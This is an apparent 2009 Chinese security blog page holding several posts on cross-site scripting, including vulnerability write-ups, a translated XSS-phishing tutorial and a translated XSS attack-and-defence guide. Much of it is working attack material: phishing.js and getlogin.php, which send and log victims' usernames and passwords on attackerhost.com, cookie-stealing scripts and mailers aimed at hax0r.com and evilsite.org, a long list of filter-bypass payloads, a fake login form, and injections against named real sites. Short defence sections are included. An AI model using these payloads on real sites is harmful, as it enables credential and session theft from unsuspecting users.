• AspProductCatalog漏洞分析与利用

    日期:2009-07-03 | 分类:脚本攻防

    作者:泉哥
    主页:http://riusksk.blogbus.com

    本文首发于《黑客防线》,转载请注明出处!

    前言
    AspProductCatalog是一款数据库驱动分类产品目录,结合了ASP和MS Access,主要是供企业所有者共同在线公布他们的产品。这是一套非常易于安装和使用的Web应用程序。但最近它出现两个漏洞:XSS与数据库泄漏,下面我们来具体分析一下。
     
    漏洞分析
    1.XSS漏洞
    在AspProductCatalog的search.asp页面中存在一跨站脚本漏洞,在搜索框中输入跨站语句即可执行恶意脚本。
    漏洞代码:
    ======================search.asp=======================
    代码省略 ……
                   ;下面是搜索表单
                 <form name="form1" method="post" action="">
                    <input name="keywords" type="text" id="keywords">           ;搜索文本输入框keywords,对于输入的数据并未进行任何有效地过滤
                    <input type="submit" name="Submit" value="Search">
                  </form>
               代码省略 ……
               <td width="84%" valign="top"> <p>ASP Product Catalog Search Results</p>
            <p> <font color="#FF0000">
              <%
       sqlstring = "Select * From Products Where Details like '%" & request.form("keywords") &_
        "%' or productname like '%" & request.form("keywords") & "%'"                                               ;进入SQL中搜索与关键词类似的内容
       rs.close
       rs.open sqlstring,cn,3,3                                 ;执行搜索
       if not rs.eof then
       response.Write("Search for '<B>" & request.form("keywords") & "</B>', Total " & rs.recordcount & " records found")     ;将从表单获取的keywords输出,以致造成跨脚本漏洞的产生
       while not rs.eof
       %>
              </font></p>
     
    测试结果:

    点击search后,脚本被执行了:


    2.数据库下载漏洞
    AspProductCatalog的数据库文件存在于database/aspProductCatalog.mdb,直接在地址栏中输入:http://site.com/database/aspProductCatalog.mdb即可下载数据库文件,如下图所示:


    漏洞代码:
    ==============================cn.asp=============================
    <%
     ' Connection Strings
     dim Conn
     ' Add full path of database with filename here
     cnProvider = "Provider=Microsoft.JET.OLEDB.4.0;"
     cnDataSource = "Data Source =C:\Inetpub\wwwroot\aspProductCatalog\database\aspProductCatalog.mdb"
     Conn = cnProvider & cnDataSource
    %>
    短短数行而已,只是简单地连接数据库,并未作其它的任何处理,以致造成数据库下载漏洞。
     
    总结
    由于程序员的疏忽,而未对用户所提交的输入数据进行过滤,当它把数据返回给用户时,即可通过浏览器恶意脚本,造成跨站。因此为了跨站漏洞的产生,应对用户所提交的任何数据进行有效地过滤,包括提交到SQL的,也应做好处理,防止SQL注入的产生。过滤时最好采用白名单方式,这样防止XSS与SQL注入的效果更好。而对于数据库下载漏洞,可以采取以下几种方式来防止被下载:
    1.修改数据库名:将数据库改成比较复杂难懂的名称,可以有效地防止被猜测到,比如·#%data00base().mdb。
    2.更改数据库后缀:可将后缀名.mdb更改为其它后缀名,比如asp,html等。
    3.修改数据库路径:将数据库文件放在一个有多层目录的文件夹中,最好是自己独自创建一些文件夹,并为每一文件夹取个比较复杂的名字,防止被猜解。
    4.在数据库名中添加间断符#:比如将数据库database.mdb改成#database.mdb ,那么当用户访问www.site.com/file/#database.mdb时,实际上访问的却是:www.site.com/file/
    5.将数据库连接文件放到其他虚拟目录下:这样数据库可以正常调用,但是无法下载的。
    6.为数据库文件加密:这是最后一招了,即使数据库文件被获取,入侵者也必须破解出密码才可查看数据,否则也是徒劳,至少这在一定程度上起到了防御作用。

  • [翻译]利用跨站进行钓鱼攻击

    日期:2009-05-01 | 分类:脚本攻防

    [翻译]利用跨站进行钓鱼攻击

     

    作者:Nexus    
    译者:riusksk(泉哥:http://riusksk.blogbus.com)                                                                       

    本文发表于《黑客防线》
    ---------------------------------------------------------------------------------------------------------------------------------------------

    声明:本教程所使用的技术与代码只用于教学目的,大家可以免费阅读,若挪为他用所造成的后果,本人概不负责!

    -----------------------------------------------------------------------------------------------------------------------------------------------

    这里使用的技术中包含了一些常被具备跨站脚本(XSS)攻击技术的钓鱼者利用的Proof of Concept(PoC)代码。本教程主要向一些受到过钓鱼与XSS攻击的用户介绍了一些防御方法。

                                                    
    摘录--------------------------------------------------------------------------------                    
    0x00 :
    大家好!                                                                   
    0x01:
    引言                
    0x02:
    普遍的钓鱼方式            
    0x03:
    从跨站脚本开始          
    0x04:
    开始行动  
    0x05:
    编写脚本     
    0x06:
    总结                 
    0x07:
    抉择           
    0x08:
    防御    
    0x09:
    结论 

     --------------------------------------------------------------------------------                      
    0x00 :
    大家好!  
       
    大家好!这里将介绍一些现今跨站脚本和钓鱼攻击的安全问题。本文讨论的站点都是我发现存在XSS漏洞并发邮件通知过的,幸好从未回复我!:-)
    -----------------------------------------------------------------------------[/]


    0x01:
    引言                     
       
    今天的主题是钓鱼!这个词在这几个月内经常可以听到,主要是因为当前跨站脚本问题流行的结果。像XSS,钓鱼攻击(为何加引号后面会解释)都是网站管理员与WEB程序员普遍忽略的问题,这有相同的原因:它们都不像SQL注入攻击那样有效。但是这种想法是完全错误的,现在的情况已经证实了这一点,他们也因此受到了一些损失

    先让我们弄清楚“phishing”的含义,这个词首次用于1996年,代表了一些攻击者或钓鱼者为了控制个人电子身份而使用一些交流工具(比如电子邮件)或者社会工程学来获取私人信息的非法行为。实际上各种钓鱼(Phishing)的定义都是大同小异的,只是在去年才赋予了它更为全面的定义,当时XSS漏洞刚被发现,从而使这类欺骗的实现变得更加容易。

     -----------------------------------------------------------------------------[/]    

                

    0x02: 普遍的钓鱼方式

    相信每个人都曾收到过一些可能来自可信站点的陌生邮件,里面存在可访问的链接或者用于提交确认信息,但这实际上都是一些经过精心设计的伪造邮件。这些只是比较傻瓜的钓鱼攻击例子,它们经常被邮件系统上运行的反间谍程序列为查杀对象。通常这类钓鱼方式都要伪装成真实站点的界面,目的是为了使邮件更为可信,同时提供经恶意构造的URL链接,通过访问该链接提交一些信息(例如你的登陆证书)。                            

    链接可以使用像下面的代码(HTML网页): 

    <a href="123.123.123.123/fakelogin.html">www.trustedsite.com</a>

    你可能会说,这种企图诱变用户进入虚假网站的方法有点愚蠢,确实如此!可能这有点搞笑,但相信我,会有很多人落入这种圈套(不信你可以打开http://antiphishing.org看看它报导的情况)。事实证明,即使这有点傻,但这也可以造成很大危害,你可以想象一下钓鱼攻击可以造成了多少问题! 

    -----------------------------------------------------------------------------[/]             

     

    0x03:从跨站脚本开始                             

    我不打算在这深入讲解XSS,如果你想获得更多这方面的资料,可以访问本文所在的网址: 

                http://www.playhack.net/view.php?type=1&id=18                 

    (如果url不存在则只需直接阅读本文,你一定将会有所发现)

    既然我们已经了解了何为Phishing,那么如何利用XSS来钓鱼呢?你可以反思一下。答案:精明的攻击者可以利用XSS在可信任的网站上建立钓鱼攻击,从而使欺骗更为可信,达到事半功倍的效果!在存在XSS漏洞的站点上我们可以运行我们想要运行的JavaScript代码,这确实很有效:-)。如果我们(打个比喻)可以运行JS代码,那么我们就可以劫持hijack)网站,对方也可能采取相应措施应对这些普遍的状况。

     -----------------------------------------------------------------------------[/]     

     

    0x04:开始行动          

    让我们用些简单的例子来一步步弄清楚,我们已讲过phishing是项强大的攻击技术,我们可以利用跨站这种更聪明更有效的方法来完成这种欺骗行为。但是我们该如何做呢?先确定我们的目标站点:可能在网站程序中存在一些跨站漏洞的站点。我们很幸运这个网站刚好在它的搜索引擎(Search  Engine)(经常如此)中存在漏洞,它允许执行任意的JavaScript代码。先试试一些简单的欺骗代码:

    <script>alert("XSS");</script>
    <script>alert(document.cookie);</script>
                     

    漂亮!结果确实证明该网站在程序的处理上并未进行一些过滤。这就可以被利用了,让我们来看看网页的HTML源代码: 

     <!-- hypotetical index.php page -->
    [..]
    <form method="POST" action="somepage.php" name="userslogin">
    User: <input type="text" name="user"><br />
    Pass: <input type="password" name="pass"><br />
    <input type="submit" name="submit" value="Login">
    </form>
    [..]
    <!-- EOF -->
              

    这是一个登陆表单,这里没有SQL注入(如果有也让我补上了,呵呵),现在我们就可以利用当前发现的XSS漏洞开工了。我们需要的信息:

    - 登陆表单"userslogin"                                       

    - 用户名文本域"userslogin.user"                                         

    - 密码文本域"useslogin.pass"           

    如果页面中包含登陆表单与搜索引擎,可以通过劫持提交的数据,使其发送到我们控制的远程主机上建立的网页,而非“somepage.php”。我们可以将恶意构造的URL链接发送给别人,让他们登陆,比如:

    http://trustedsite.com/index.php?s=
    <script src="http://attackerhost.com/phishing.js"></script>

     

     经编码后: 

           http://trustedsite.com/index.php?s=%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%

    74%74%70%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%63%6F%6D%2F%

    70%68%69%73%68%69%6E%67%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E

    -----------------------------------------------------------------------------[/]

    0x05:编写脚本                                       

    现在我们已经知道接下来该怎么做了,让我们开始编写将被使用的恶意脚本phishing.js的代码吧:

    /* phishing.js */

    // Sets the login form name
    Form = document.forms["userslogin"];

    function stealLogin() {
    // Creates a new <iframe> element
    var iframe = document.createElement("iframe");
    // Force the iframe to be hidden
    iframe.style.display = "none";
    // Loads the malicious PHP code into the iframe
    iframe.src = "http://attackerhost.com/getlogin.php?user="
         + Form.user.value + "&pass=" + Form.pass.value;

    // Append that iframe into the body code
    document.body.appendChild(iframe);
    }

    // On users submit action hijacks the infos to the previous function
    Form.onsubmit = stealLogin();
    /* EOF */

    通过这代码我们可以将登陆认证提交给在页面主体内容中创建的隐藏的iframe,并加载其它恶意PHP脚本,以获得用户名与密码并保存它们。 代码如下: 

     /* getlogin.php */
    <?php
    if(isset($_GET['user']) && isset($_GET['pass'])) {

    // Sets the path and opens the dump file
    $file_path = "stolenlogins.txt";
    $file = @fopen($file_path, "a");

    // Generate the string
    $string = "User: ". $_GET['user'] ." and Pass: ". $_GET['pass'] . "\n";

    // Writes the datas and close the opened file
    @fwrite($file, $string);
    @fclose($file);
    }
    ?>
    /* EOF */
                               

    这些代码很容易理解:获取登陆用户名与密码,并写入一个文件中。给合这两个恶意脚本,攻击者就可以利用这小小(管理员经常这样认为)的漏洞,获得重要的认证信息,使通过WEB程序验证成为可能。

     -----------------------------------------------------------------------------[/]

     

    0x06:总结                         

    所有脚本编写完成后,再试试效果现在总结一下如何发动攻击:             

    - 攻击者寻找站上的跨站漏洞            

    - 窃取帐户资料     

    - 编写一份JS代码用于劫持用户在登陆表单输入框中提交的用户名和密码,并提交给当前创建的PHP脚本                           

    - 将经构造存在跨站的URL发送给用户登陆                        

    - 用户登陆系统    

    - JS作用下,可使PHP脚本获取登陆信息                               

    - 攻击者利用XSSPhishing将劫获的数据存储起来                                

    通过上面的总结我们可以看到这些欺骗是相当简单的,而且避免了一些较大的问题,比如在外部web服务器上建立虚假登陆系统(具备较大的风险)。                            

     -----------------------------------------------------------------------------[/]                     

     

    0x07:抉择                                 

    有时可能发生XSS漏洞代码与登陆表单页面不一致,因此攻击者需要先在跨站页面(XSSed page)中打开登陆页面,然后再使用它。先从构造url开始 :

    http://trustedsite.com/index.php?s=<scriptsrc="http://attackerhost/phishing.js"></script>                         

    我们可以修改"phishing.js"脚本使其打开我们想让用户登陆的网站页面。        

     /* phishing.js */
    Form = document.forms["userslogin"];

    function forceLogin() {
    var loginiframe = document.createElement("iframe");
    var loginiframe.src = "http://trustedsite.com/login.html";
    document.body.appendChild(loginiframe);
    }

    function stealLogin() {
    var iframe = document.createElement("iframe");
    iframe.style.display = "none";
    iframe.src = "http://attackerhost.com/getlogin.php?user="
         + Form.user.value + "&pass=" + Form.pass.value;

    document.body.appendChild(iframe);
    }

    window.onload = forgeLogin();
    Form.onsubmit = stealLogin();
    /* EOF */
                    

    可能你已经注意到了这个新版本phishing.js可以使网页在新的框架(iframe)中加载登陆页面,这主要是为了在不同页面中获得完全控制。当然,这些代码需要放置在可信任的站点上。 

     -----------------------------------------------------------------------------[/] 

                             

    0x08:防御                  

        好了,我们已经知道了如何发动钓鱼攻击,现在我们也需要知道如何防御这种攻击。这事也不需要做太多,只需注意下列事项:                 

    1-将邮件浏览器设置为只接收文本(text-plained)信息;                            

    2-检测提供的链接地址与实际链接地址是否相同;                           

    3-从不浏览URL字符经编码的网站;                   

    4-鉴定你访问的内容。                       

    现在也有各种用于不同浏览器的工具可以防御钓鱼攻击,但是不是100%有效,关键还是我们自己要小心一点!

    -----------------------------------------------------------------------------[/]                       

     

    0x09:结论                 

    到了本文的结尾了!:)   内容很多,但我希望我写的这些东西能真正地对大家有所帮助,帮助大家打造安全的WEB程序。再次声明本文中的技术与代码只用于教学目的,大家可以免费阅读,本人对使用这些资料所造成的后果概不负责。             

  • Twitter XSS Worm

    日期:2009-04-15 | 分类:脚本攻防

    近日出现了一种XSS Worm可感染Twitter用户,当用户查看受感染用户的个人资料时可引起病毒感染,并以此来进行自我复制传播。通过下面几步进行感染:

    1. 登陆 www.twitter.com
    2. 访问受感染用户的相关页面;
    3. 进入 "Settings" 菜单;
    4. 在 "Name"文本域中编辑XSS Worm代码;
    5. 在"More info URL"文本域中也可用来编辑蠕虫代码的。

    据说蠕虫作者是位来自美国纽约的17岁小伙子写的,关于这方面的新闻可查看下面链接:

    1.Twitter Gets Slammed By the StalkDaily XSS Worm:

    http://news.slashdot.org/article.pl?sid=09/04/12/1339258

    2.Second Twitter worm infects user profiles; author says more to come:

    http://adjix.com/af5t

    关于跨站蠕虫源代码可以进入下面的链接查看:

    http://gist.github.com/93782

     

  • [翻译]跨站脚本攻防之道

    日期:2009-04-01 | 分类:脚本攻防

    [翻译]跨站脚本攻防之道

    本文发表于《黑客防线》

    作者:Xylitol

    译者:riusksk ( 泉哥:http://riusksk.blogbus.com)


    摘要:

            1>  何为跨站(XSS)?

            2>  存在跨站的代码

            3>  Cookie劫持

            4>  XSS防御

         5> 破坏方式

         6> 绕过字符过滤

            7> Flash攻击

            8> 上传文件XSS

         9> 跨站钓鱼

     

    1.何为跨站(XSS)?

     

    XSS又叫CSS(Cross Site Script) ,跨站脚本攻击(译注:因为Cross Site Script的缩写是CSS,但CSS在网页设计领域中已经被广泛地层叠样式表,所以将Cross改为以发音相近的X作为缩写,但早期的文件还是会使用CSS来表示跨站脚本)。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。攻击者得到更高的权限后,可以利用存在漏洞的ActiveX控件,欺骗受害者浏览恶意站点来悄悄地在对方的的电脑上安装恶意软件(如间谍软件,远程控制软件,蠕虫等),也可以窃取机密的网页内容,会话的cookie以及许多其它信息。

    1. 存在XSS的代码

    打开记事本,复制并粘贴以下脚本代码:

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />

    <style type="text/css">
    <!--
    body,td,th {
     color: #FFFFFF;
    }
    body {
     background-color: #000000;
    }
    -->
    </style><title>Simple XSS vulnerability by Xylitol</title>
    <body>
    <form action="XSS.php" method="post">
    <p align="center"><strong>Simple XSS vulnerability by Xylitol </strong></p>
    <div align="center">
     <table width="270" border="0">
       <tr>
       <td width="106"><strong>Search:</strong></td>
         <td width="154"><input name="Vulnerability" type="text" id="Vulnerability" /></td>
       </tr>
     </table>
     <table width="268" border="0">
       <tr>
       <td width="262"><div align="center">
         <input name="submit" type="submit" value="    Search it !    " />
       </div></td>
       </tr>
     </table>
     </div>
    </form>
    </body>
    </html>

    然后保存为index.html,效果图如图1(译注:原文中无图片):

     

                           

                                                      1

    重新打开记事本,并复制/粘贴以下代码:

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
    <title>Search result:</title>
    <style type="text/css">
    <!--
    body,td,th {
     color: #FFFFFF;
    }
    body {
     background-color: #000000;
    }
    -->
    </style></head>
    <body>
    <span class="alerte">Search result  :</span>&nbsp;<strong><?php echo $_POST['Vulnerability']; ?></strong>&nbsp;
    </body>
    </html>

    保存为xss.php,关闭记事本。用浏览器打开index.html,输入<script>alert('XSS')</script>并点”search it”按钮,就会出现一个提示窗口,如图2

     

          

                         2

    XSS漏洞就在这里!

    1. Cookie劫持

    在一个存XSS漏洞的页面中输入下列代码:

    <script>
    window.open("http://www.Hax0r.com/cookie.php?cookies="+document.cookie);
    </script>

    www.Hax0r.comj 你自己的站点)
    打开记事本,并保存为
    cookie.php

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
    <title>Error</title>
    <style type="text/css">
    <!--
    body,td,th {
     color: #FFFFFF;
    }
    body {
     background-color: #000000;
    }
    -->
    </style></head>
    <? mail('email@example.com', 'Cookie stealed ! - thx xyli :)', $cookies); ?> 
    <body>
    <h2><strong>Error</strong> - <strong>Access denied</strong> for <? echo $_SERVER["REMOTE_ADDR"]; ?></h2>
    </body>
    </html>

    这对于窃取资料来不够,需要等待将窃取的cookie内容以电子邮件的形式发送给我们。

    1. XSS防御

    修补漏洞:

    可以使用htmlentities函数来修补XSS漏洞,代码如下:

    <body>
    <span class="alerte">Search result  :</span>&nbsp;<strong>

    <?php

    echo $_POST['Vulnerability'];

    ?>

    </strong>&nbsp;
    </body>
    By:
    <body>
    <span class="alerte">Search result  :</span>&nbsp;<strong>

    <?php
    if(isset($_POST['Vulnerability']))

    {   

    echo htmlentities($_POST['Vulnerability']);

    }

    ?>

    </strong>&nbsp;
    </body>

    使用PHP中的htmlspecialchars函数 ;)

    其它函数:

    Htmlentities() qutos

    strip_tags()
    ...

    5.攻击方式

    利用XSS进行攻击是一件相当简单的事情,这里主要讲几种攻击方式……

    图片攻击:<IMG SRC="http://hax0r.com/Haxored.png">

    或者视频flash<EMBED SRC= http://hax0r.com/Haxored.swf

    还有网站重定向:<script>window.open( "http://www.hax0r.com/Haxored.html" )</script>

    也可以:<meta http-equiv="refresh" content="0; url=http://hax0r.com/Haxored.html" />

    1.  
      1. 绕过字符过滤

    实际上要想绕过htmlspecialchars()函数并不是那么容易,这里举几个绕过字符过滤的XSS

    <META HTTP-EQUIV=\"refresh\" CONTENT=\"0;
    URL=http://;URL=javascript:alert('XSS');\">

    <META HTTP-EQUIV=\"refresh\"
    CONTENT=\"0;url=javascript:alert('XSS');\">

    '">><marquee><h1>XSS</h1></marquee>

    '">><script>alert('XSS')</script>

    '>><marquee><h1>XSS</h1></marquee>

    "><script alert(String.fromCharCode(88,83,83))</script>

    <iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>

    <div
    style="x:expression((window.r==1)?'':eval('r=1;alert(String.fromCharCo
    de(88,83,83));'))">

    window.alert("Xyli !");

    "/></a></><img src=1.gif onerror=alert(1)>

    [color=red' onmouseover="alert('xss')"]mouse over[/color]

    <body onLoad="alert('XSS');"

    <body onunload="javascript:alert('XSS');">

    [url=javascript:alert('XSS');]click me[/url]

    <script language="JavaScript">alert('XSS')</script>

    <img src="javascript:alert('XSS')">

    '); alert('XSS

    <font style='color:expression(alert(document.cookie))'>

    <IMG DYNSRC=\"javascript:alert('XSS')\">

    <IMG LOWSRC=\"javascript:alert('XSS')\">

    </textarea><script>alert(/xss/)</script>

    </title><script>alert(/xss/)</script>

    <script src=http://yoursite.com/your_files.js></script>

    "><script>alert(0)</script>

    <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

    <IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">

    <IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">

    <IMG SRC=\"jav&#x09;ascript:alert('XSS');\">

    <marquee><script>alert('XSS')</script></marquee>

    <? echo('<scr)';
    echo('ipt>alert(\"XSS\")</script>'); ?>

    <IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">

    <IMG SRC=\"jav&#x09;ascript:alert('XSS');\">

    <marquee><script>alert('XSS')</script></marquee>

    <style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style>

    <img src=foo.png onerror=alert(/xssed/) />

    <script>alert(String.fromCharCode(88,83,83))</script>

    <scr<script>ipt>alert('XSS');</scr</script>ipt>

    <script>location.href="http://www.evilsite.org/cookiegrabber.php?cookie="+
    escape(document.cookie)</script>

    <script src="http://www.evilsite.org/cookiegrabber.php"></script>

    <script>alert('XSS');</script>

    <script>alert(1);</script>

    若想获得更多的资料可以使用google.搜索(译注:在国外著名站点: www.xssing.com 面也有很多跨站语句,值得借鉴)

    1.  
      1. Flash攻击

    Flash是主要用于复杂的动画,模拟和游戏开发等……能让我们感兴趣的是getURL()的功能,这个函数可以使我们重定向到另一页面,它的创建语法如下:

    getURL(url:String, [window: String,[method:String]])

    例如:

    getURL("http://victime.com/login.php?logout=true","_self");

    url参数:url用来获得文档的统一定位资源

    windows参数:设置所要访问链接的网页窗口打开方式(_self, _blank)

    Variable参数:规定参数的传输方式(get或者post)

    这里运行javascript脚本来弹出警告:

    getURL("javascript:alert('XSS'");

    2002年的时候被暴出了该函数的一个危险漏洞,可以使用下列方式来获取网站访问者的cookie

    getURL("javascript:alert(document.cookie)")

    200512月,似乎存在一个新的选择,这主要受益于一个永久性的XSS漏洞,这允许在flash文件的签名(signature)中使用XSS参数。此外,作者使用这种技术是为了防御在MySpace中传播的“Samy XSS蠕虫:Samy可以重载隐藏在flash中的cookie窃取器吗?不,但有其它技术可以实现。

    例如:

    flash文件:

    GetURL("http://www.victime.com/page.php?var=<script src='http://www.hax0r.com/Haxored.js'></script>","_self");

    Haxored.js:

    document.location="http://hax0r.com/cookiestealer.php?cookie="+document.cookie;

    简单的防御措施:不要从网站上下载flash文件。

    1.  
      1. XSS上传文件

    在画板里创建一个Haxored.gif图像作为例子,然后用记事本打开它,删除所有内容并插入下面的内容:

    GIF89a<script>alert("XSS")</script>

    保存并关闭它。

    然后把图像上传到一个网站上,再查看你的图像,XSS就产生了……不要打开Mozillia Firefox来浏览图片,因为Mozillia Firefox不能运行警告框,可以使用Internet explorer

    为什么在前面添加GIF89a呢?

    上传一些像这样的文件,会在各个.gif文件中检查是否包含'GIF89a'代码,这个漏洞导致可以上传经'GIF89a'代码确认,且包含恶意代码的图片。

    GIF89a<script src="http://hax0r.com/cookiegrabber.php"></script>

    可以试着去了解一下其它图像文件格式的确认代码,使用一个文件编辑器就可以打开.jpg及其它格式的图片,例如一个png格式的文件:‰PNG

    PNG = PNG
    GIF = GIF89a
    JPG = ÿØÿà ?JFIF
    BMP = BMFÖ

    对于这种漏洞不能单纯地使用getimagesize()进行检测。

    1.  
      1. 跨站钓鱼

    你是否已经理解了钓鱼(phishing)与XSS的概念呢(译注:钓鱼fishing中的fph的发音相似,因此使用phishing来代替fishing?

    在我们的例子里将需要找一个存在XSS漏洞的站点进跨站,并在一个form表单里注入一个URL重定向的代码:

    <p>Enter your login and password, thank:</p>
    <form action="http://hax0r.com/mail.php">
    <table><tr><td>Login:</td><td><input type=text length=20 name=login>
    </td></tr><tr><td>Password:</td><td>
    <input type=text length=20 name=password>
    </td></tr></table><input type=submit value=        OK        >
    </form>

    效果如图3所示:

     

                     

                                                 3

    我想你已经猜到这个脚本将冒充一个form表单来发送用户名及密码给代你,下面的php文件是就是用来发送email的(mail.php:

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
    <title>Error</title>
    <style type="text/css">
    <!--
    body,td,th {
     color: #FFFFFF;
    }
    body {
     background-color: #000000;
    }
    -->
    </style></head>
    <?php
    $login = $HTTP_GET_VARS["login"];
    $password = $HTTP_GET_VARS["password"];
    mail("email@example.com", "Cookie stealed ! - thx xyli :)", $password , $login );
    ?> 
    <body>
    <h2><strong>Error</strong> -<strong> Server too much busy</strong></h2>
    </body>
    </html>

    用户将会相信网页等待与超载是正常的,而不会有所怀疑,相信你已经理解了这一原理。

  •  

    [翻译] 双向跨站(Double Trap XSS)注入分析

    作者: Aditya K Sood

    译者:riusksk(泉哥:httP://riusksk.blogbus.com)

    翻译时间:2008-10-25

    本文发表于《黑客防线》

    漏洞分析

    本篇分析介绍了不同领域下的XSS注入攻击,这里没有使用XSS cheatsheat.现在让我们开始详细分析它。本次实例的目标是SecTheory安全咨询站点。这个过程使用了两种不同的方法,这将使一些安全公司受到微创,同时也有利于新的exploitation类型的确立。两者的结果是相同的,只是方式不一样。

    黑客们通过寻找安全漏洞并利用它来进行网站攻击。我个人总是习惯使用两种方法来踩点:

    1. URL Banging:URL中注入输入参数。

        2.   Form Splitting:form表单中注入伪造的参数。

    当我在站点上逛时并没有找到一些可被发送输入值的URL参数,当我点到最后一页时,出现我最感兴趣的页面——联系我们(Contact Us),它提供了个四个用于联系管理员的基本输入框对象,如图1所示:

                          1

    下一步是检查form表单输入框中的输入限制,然后再看一看输入框参数。

    让我们看一下:


    <INPUT TYPE="TEXT" NAME="login" style="width:300px" MAXLENGTH="100">
    <div id="contact" align="right">
    Your phone number:
    <INPUT TYPE="TEXT" NAME="number" style="width:300px" MAXLENGTH="100">
    <div id="contact" align="right">
    Your email address:
    <INPUT TYPE="TEXT" NAME="email" style="width:300px" MAXLENGTH="100">


    通过上面的代码可知输入字符串的可用最大长度是100,这足够了!接下来测试一下输入伪造的参数是否会产生错误,先试试('),输入下列注入代码:

    '<script>alert(document.cookie);</script>

    当我在 form applet 中注入这句代码时,并未发现有任何数据被发送到服务端。看来这段代码并没有什么作用,但是记住,永远不要忘了("") ,因为只要你动点脑筋的话,很容易就会发现form表单中的输入值都是如图2所示的形式:

        2

    让我们来测试一下这个form表单,打开浏览器并再次输入下面的的代码,接着这次的情况就有点不同了:

     


    '<script>alert("XSS Says :Let Me IN !");</script>''''''''

       


    我看到的结果如图3所示(译注:这图不够完整,在网上也没找到完整的图片):

                3

    这次的注入返回并未完整,只给出其中的一部分代码,查看源代码确实发现了一些有用的信息如图4

                             4

    这里给出了关于部分注入的信息,我试了一些单向跨站(Single Trap XSS),但没有用,接着我就决定使用双向跨站(Double Trap XSS)(译注:在网上没有找到关于Double Trap XSS的中文翻译,就暂时翻译成双向跨站)注入,先试着注入代码(如图5):

                       5

                  

    Double Trap XSS有效了,现在我们就用这样方式进行XSS注入。

    让我们试试其它的注入代码:



    '<script>alert("XSS");</script>'<script>alert(document.domain)'</script>

    注入后显示域名如图6

                    6

    再注入以下代码,结果如图7所示  

    '<script>alert("XSS");</script>'<a href="telnet://203.197.219.33"><h3>TELNET</h3></a>

                                   7

    可见double trap XSS非常有效,这次分析十分成功,总算没有前功尽弃。

    关注

    这是一个刚被理解而隐含的严重安全问题。然而,应该认识到它并没有被曝光过任何渗透服务器本身的问题的严重性,到底是什么允许恶意攻击者控制用户与站点之间互动。如果你的站点包含有满足公众需求的所有固定信息,攻击者可以很快地从中获益,可能更为严重的是一个攻击者可以在这种情况下悄悄地改变页面来显示给某个特定用户。

    网站中潜在的最为危险的是用户所拥有的各类登陆帐户,以及他们在这里的行为对现实世界的影响,或者取得一些秘密数据.如果你可以取得用户的所有资料,那就不再需要入侵网站获得网站的控制权了,这类安全问题将对站点造成了一系列的威胁;。


  • 掌握ajax系列教程

    日期:2009-03-31 | 分类:随笔杂谈

    有志于写XSS Worm的朋友,真的应该去学习ajax技术,毕竟现在web2.0时代已经到来了,关于这web2.0安全的,可以看看《细数WEB2.0下的十大安全威胁》。这里我在网上找了份关于ajax的教程,是IBM的,地址如下:http://www.ibm.com/developerworks/cn/web/wa-ajaxintro/

  • 邮政网跨站漏洞

    日期:2009-03-12 | 分类:脚本攻防

    今天下午用手机上网,到大学城邮政网想查看一下黑防样刊到了没(还没到),然后我就顺手用手机输入XSS语句测试下,结果还真的存在XSS漏洞,下图是电脑上截图的: